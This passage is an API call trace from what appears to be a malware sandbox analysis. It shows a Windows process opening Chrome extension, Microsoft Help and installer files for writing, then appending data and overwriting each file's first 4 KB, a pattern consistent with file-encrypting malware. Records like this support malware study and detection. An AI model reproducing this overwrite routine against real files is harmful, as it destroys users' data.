hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x3082 [0054.192] ReadFile (in: hFile=0x1d4, lpBuffer=0x1d84048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d84048*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0054.192] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x3082 [0054.192] WriteFile (in: hFile=0x1d4, lpBuffer=0x1d84048*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d84048*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0054.192] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0054.192] WriteFile (in: hFile=0x1d4, lpBuffer=0x1d84048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d84048*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0054.193] CloseHandle (hObject=0x1d4) returned 1 [0054.193] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0054.193] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0054.193] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x55a3 [0054.193] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0054.193] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0054.193] ReleaseMutex (hMutex=0x128) returned 1 [0054.193] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0054.193] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6306c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0054.194] ReadFile (in: hFile=0x1d4, lpBuffer=0x1d84048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d84048*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0054.200] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x45a3 [0054.201] ReadFile (in: hFile=0x1d4, lpBuffer=0x1d84048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d84048*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0054.201] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x45a3 [0054.201] WriteFile (in: hFile=0x1d4, lpBuffer=0x1d84048*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d84048*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0054.201] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0054.201] WriteFile (in: hFile=0x1d4, lpBuffer=0x1d84048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d84048*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0054.201] CloseHandle (hObject=0x1d4) returned 1 [0054.202] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0054.202] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0054.202] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x3fdc [0054.202] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0054.202] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0054.202] ReleaseMutex (hMutex=0x128) returned 1 [0054.202] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0054.202] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6324c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0054.202] ReadFile (in: hFile=0x1d4, lpBuffer=0x1d84048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d84048*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0054.205] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x2fdc [0054.205] ReadFile (in: hFile=0x1d4, lpBuffer=0x1d84048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d84048*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0054.205] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x2fdc [0054.205] WriteFile (in: hFile=0x1d4, lpBuffer=0x1d84048*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d84048*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0054.206] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0054.206] WriteFile (in: hFile=0x1d4, lpBuffer=0x1d84048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d84048*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0054.206] CloseHandle (hObject=0x1d4) returned 1 [0054.206] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ta\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ta\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0054.207] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0054.207] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x563d [0054.207] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0054.207] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0054.207] ReleaseMutex (hMutex=0x128) returned 1 [0054.207] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0054.207] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e633ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0054.207] ReadFile (in: hFile=0x1d4, lpBuffer=0x1d84048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d84048*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0054.211] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x463d [0054.211] ReadFile (in: hFile=0x1d4, lpBuffer=0x1d84048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d84048*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0054.211] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x463d [0054.211] WriteFile (in: hFile=0x1d4, lpBuffer=0x1d84048*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d84048*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0058.212] LocalFree (hMem=0x70b630) returned 0x0 [0058.212] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2a0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0058.212] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2a0f894) [0058.212] RtlUnwind (TargetFrame=0x2a0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2a0f378, ReturnValue=0x0) [0058.212] RtlUnwind (TargetFrame=0x2a0f920, TargetIp=0x407184, ExceptionRecord=0x2a0f378, ReturnValue=0x0) [0058.213] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png")) returned 0x20 [0058.213] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.EXCEL.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.excel.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0058.213] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0058.213] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x6ce [0058.213] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0058.213] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0058.213] ReleaseMutex (hMutex=0x128) returned 1 [0058.213] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.EXCEL.14.1033.hxn", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0058.213] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.EXCEL.14.1033.hxn", cchWideChar=20, lpMultiByteStr=0x1e78b04, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MS.EXCEL.14.1033.hxn", lpUsedDefaultChar=0x0) returned 20 [0058.213] ReadFile (in: hFile=0x1a0, lpBuffer=0x261fa88, nNumberOfBytesToRead=0x6ce, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesRead=0x2a0f2bc*=0x6ce, lpOverlapped=0x0) returned 1 [0058.214] CloseHandle (hObject=0x1a0) returned 1 [0058.214] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.MSPUB.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.mspub.dev.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0058.214] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0058.214] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x6e6 [0058.214] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0058.214] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0058.214] ReleaseMutex (hMutex=0x128) returned 1 [0058.214] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.MSPUB.DEV.14.1033.hxn", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0058.214] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.MSPUB.DEV.14.1033.hxn", cchWideChar=24, lpMultiByteStr=0x1e7faec, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MS.MSPUB.DEV.14.1033.hxn", lpUsedDefaultChar=0x0) returned 24 [0058.214] ReadFile (in: hFile=0x1a0, lpBuffer=0x261fa88, nNumberOfBytesToRead=0x6e6, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesRead=0x2a0f2bc*=0x6e6, lpOverlapped=0x0) returned 1 [0058.214] CloseHandle (hObject=0x1a0) returned 1 [0058.214] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio.dev.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0058.214] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0058.214] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x6e6 [0058.215] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0058.215] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0058.215] ReleaseMutex (hMutex=0x128) returned 1 [0058.215] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.VISIO.DEV.14.1033.hxn", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0058.215] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.VISIO.DEV.14.1033.hxn", cchWideChar=24, lpMultiByteStr=0x1e7faec, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MS.VISIO.DEV.14.1033.hxn", lpUsedDefaultChar=0x0) returned 24 [0058.215] ReadFile (in: hFile=0x1a0, lpBuffer=0x261fa88, nNumberOfBytesToRead=0x6e6, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesRead=0x2a0f2bc*=0x6e6, lpOverlapped=0x0) returned 1 [0058.215] CloseHandle (hObject=0x1a0) returned 1 [0058.215] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch\\x64\\windows6.1-kb2999226-x64.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0058.215] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0058.215] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0xfcec4 [0058.215] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0058.215] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0058.215] ReleaseMutex (hMutex=0x128) returned 1 [0058.215] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Windows6.1-KB2999226-x64.msu", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0058.215] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Windows6.1-KB2999226-x64.msu", cchWideChar=28, lpMultiByteStr=0x1e7faec, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Windows6.1-KB2999226-x64.msu", lpUsedDefaultChar=0x0) returned 28 [0058.215] ReadFile (in: hFile=0x1a0, lpBuffer=0x26d0018, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x26d0018*, lpNumberOfBytesRead=0x2a0f278*=0xf000, lpOverlapped=0x0) returned 1 [0058.216] ReadFile (in: hFile=0x1a0, lpBuffer=0x26d0018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x26d0018*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0058.216] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0xfbec4 [0058.216] ReadFile (in: hFile=0x1a0, lpBuffer=0x26ef078, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x26ef078*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0058.216] CloseHandle (hObject=0x1a0) returned 1 [0058.216] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0058.216] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0058.216] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x24588 [0058.216] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0058.216] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0058.216] ReleaseMutex (hMutex=0x128) returned 1 [0058.216] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vc_runtimeMinimum_x86.msi", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0058.216] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vc_runtimeMinimum_x86.msi", cchWideChar=25, lpMultiByteStr=0x1e7faec, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vc_runtimeMinimum_x86.msi", lpUsedDefaultChar=0x0) returned 25 [0058.216] ReadFile (in: hFile=0x1a0, lpBuffer=0x27fd658, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x27fd658*, lpNumberOfBytesRead=0x2a0f278*=0x8000, lpOverlapped=0x0) returned 1 [0058.217] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x23588 [0058.217] ReadFile (in: hFile=0x1a0, lpBuffer=0x26ef078, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x26ef078*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0058.217] CloseHandle (hObject=0x1a0) returned 1 [0058.217] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0058.217] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0058.217] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x25588 [0058.217] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0058.217] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0058.217] ReleaseMutex (hMutex=0x128) returned 1 [0058.217] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vc_runtimeAdditional_x86.msi", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0058.217] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vc_runtimeAdditional_x86.msi", cchWideChar=28, lpMultiByteStr=0x1e7faec, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vc_runtimeAdditional_x86.msi", lpUsedDefaultChar=0x0) returned 28 [0058.217] ReadFile (in: hFile=0x1a0, 